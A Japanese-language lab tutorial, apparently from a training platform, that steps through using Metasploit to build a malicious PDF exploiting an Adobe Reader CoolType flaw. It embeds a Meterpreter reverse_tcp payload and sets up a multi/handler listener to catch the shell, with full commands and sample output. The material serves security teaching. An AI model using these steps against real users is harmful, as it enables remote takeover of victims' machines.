はじめに
この実験では、Metasploit Framework を使用して悪意のある PDF ファイルを作成し、クライアントサイド攻撃の世界を深く掘り下げます。クライアントサイド攻撃は、Web ブラウザ、メディアプレーヤー、ドキュメントビューアなど、ユーザーのコンピューター上のアプリケーションの脆弱性を標的とします。
PDF ファイルは、広く使用され、ユーザーに信頼されていることが多いため、これらの攻撃の一般的なベクトルとなっています。一見無害な PDF に悪意のあるコード(ペイロード)を埋め込むことで、攻撃者は、脆弱な PDF リーダーでファイルが開かれた際に、被害者のシステムを制御できるようになります。
特定の Exploit を選択し、ペイロードで設定し、悪意のあるファイルを生成し、侵害されたシステムからの接続を処理するためのリスナーを設定する方法を学びます。この実験は、そのような攻撃がどのように構築されるかについての基本的な理解を提供します。
exploit/windows/fileformat/adobe_cooltype_sing モジュールの選択
このステップでは、Metasploit Framework コンソールを起動し、悪意のある PDF を作成するための適切な Exploit モジュールを選択します。Metasploit Framework はペネトレーションテストのための強力なツールであり、そのコンソールである msfconsole は、それと対話するための主要なインターフェースです。
まず、ターミナルを開き、Metasploit コンソールを起動します。初期化にはしばらく時間がかかる場合があります。
msfconsole -q
-q フラグは、バナーを抑制してより迅速に開始します。ロードされると、msf6 > プロンプトが表示されます。
Adobe Reader の既知の脆弱性を標的とする Exploit を使用します。モジュール名は exploit/windows/fileformat/adobe_cooltype_sing です。use コマンドを使用してこのモジュールをロードします。
use exploit/windows/fileformat/adobe_cooltype_sing
コマンドを実行すると、現在ロードされているモジュールを反映するようにコマンドプロンプトが変更されていることに気づくでしょう。
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >
これにより、モジュールがアクティブになり、設定の準備ができたことが確認されます。
出力 PDF の FILENAME オプションの設定
このステップでは、選択した Exploit モジュールのオプションを設定します。各モジュールにはカスタマイズ可能なオプションのセットがあります。現在のモジュールで利用可能なオプションを表示するには、show options コマンドを使用します。
show options
このコマンドは、出力ファイル名やペイロード設定など、設定できるパラメータのテーブルを表示します。
Module options (exploit/windows/fileformat/adobe_cooltype_sing):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
...
Payload options (generic/shell_reverse_tcp):
...
悪意のある PDF ファイルの名前を指定するために FILENAME オプションを設定する必要があります。ここでは malicious.pdf という名前にします。set コマンドを使用してこの値を割り当てます。
set FILENAME malicious.pdf
再度 show options を実行して、FILENAME が正常に更新されたことを確認できます。
FILENAME malicious.pdf yes The file name.
reverse_tcp ペイロードを LHOST および LPORT で設定する
このステップでは、ペイロードを設定します。ペイロードとは、Exploit が成功した後にターゲットシステムで実行されるコードのことです。ここでは reverse_tcp ペイロードを使用します。これは、被害者のマシンが私たちのマシンに接続し返すように強制します。
まず、ペイロードを windows/meterpreter/reverse_tcp に設定します。Meterpreter は、標準シェルよりも多くの機能を提供する、高度で動的に拡張可能なペイロードです。
set payload windows/meterpreter/reverse_tcp
次に、ペイロードのオプションである LHOST と LPORT を設定する必要があります。
LHOST: これは「Listening Host」であり、あなたのマシンの IP アドレスです。被害者のマシンはこの IP に接続し返します。LPORT: これは「Listening Port」であり、あなたのマシンで接続をリッスンするポートです。
自分のマシンの IP アドレスを見つけるには、新しいターミナルタブを開き、ip a コマンドを実行します。eth0 インターフェースに関連付けられた IP アドレスを探してください。
ip a
次に、LHOST をあなたの IP アドレス(YOUR_IP_ADDRESS を実際の IP に置き換えてください)に、LPORT を 4444 のような一般的なポートに設定します。
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
もう一度 show options を実行して、すべての設定が正しいことを確認します。設定済みの FILENAME、PAYLOAD、LHOST、および LPORT が表示されるはずです。
悪意のある PDF ファイルの生成
このステップでは、すべてのオプションが設定されたので、悪意のある PDF ファイルを生成する準備ができました。exploit コマンド(またはそのエイリアスである run)は、Exploit とペイロードを最終的なファイルに組み立てます。
msfconsole ウィンドウで exploit コマンドを実行します。
exploit
Metasploit は PDF ファイルを作成します。出力にはプロセスが表示され、最も重要なのはファイルがどこに保存されたかです。
[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf
これでファイルが作成されました。実際のシナリオでは、攻撃者はこのファイルをターゲットに配信します。例えば、メールの添付ファイルとして送信します。新しいターミナルで ls コマンドを使用して、その存在を確認できます。
ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf
msfconsole でシェルをキャッチするためのハンドラーを設定する
このステップでは、悪意のある PDF が開かれたときに、被害者のマシンからの着信接続を「キャッチ」するためのリスナー(ハンドラーとも呼ばれます)を設定します。ハンドラーがないと、ペイロードは接続先がありません。
ここでは、汎用的なリスナーである exploit/multi/handler モジュールを使用します。
use exploit/multi/handler
次に、このハンドラーを、PDF ファイルに埋め込んだものと全く同じペイロードとオプション(LHOST および LPORT)で設定する必要があります。これは接続を成功させるために不可欠です。
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444
ここでも YOUR_IP_ADDRESS をご自身のマシンの IP アドレスに置き換えることを忘れないでください。
ハンドラーが設定されたら、exploit -j コマンドを使用して実行します。-j フラグはハンドラーをバックグラウンドジョブとして実行するため、リスナーがアクティブな間も msfconsole プロンプトで他のコマンドを実行できます。
exploit -j
ハンドラーが開始されたことを示す確認メッセージが表示されます。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444
これでハンドラーは接続をリッスンしています。この実験では被害者がファイルを開くことをシミュレートしませんが、これでセットアップは完了です。悪意のあるファイルを作成し、リバースシェルを処理するためのリスナーを準備しました。
まとめ
この実験では、Metasploit Framework を使用して、クライアントサイド攻撃のための悪意のある PDF を作成する基本的な手順をすべて実行しました。
以下のことを学びました。
- Metasploit コンソールを起動し、適切な Exploit モジュールを選択する方法。
- 出力ファイル名などの Exploit オプションを設定する方法。
- 必要な
LHOSTおよびLPORTパラメータを持つペイロード(windows/meterpreter/reverse_tcp)を選択および設定する方法。 - 最終的な悪意のある PDF ファイルを生成する方法。
- 侵害されたシステムからの着信接続をリッスンしてキャッチするためのハンドラー(
exploit/multi/handler)を設定および実行する方法。
この演習により、一般的な攻撃ベクターの背後にある仕組みを実践的に理解し、このような脆弱性から保護するために、ソフトウェア、特にドキュメントリーダーを最新の状態に保つことの重要性が強調されます。


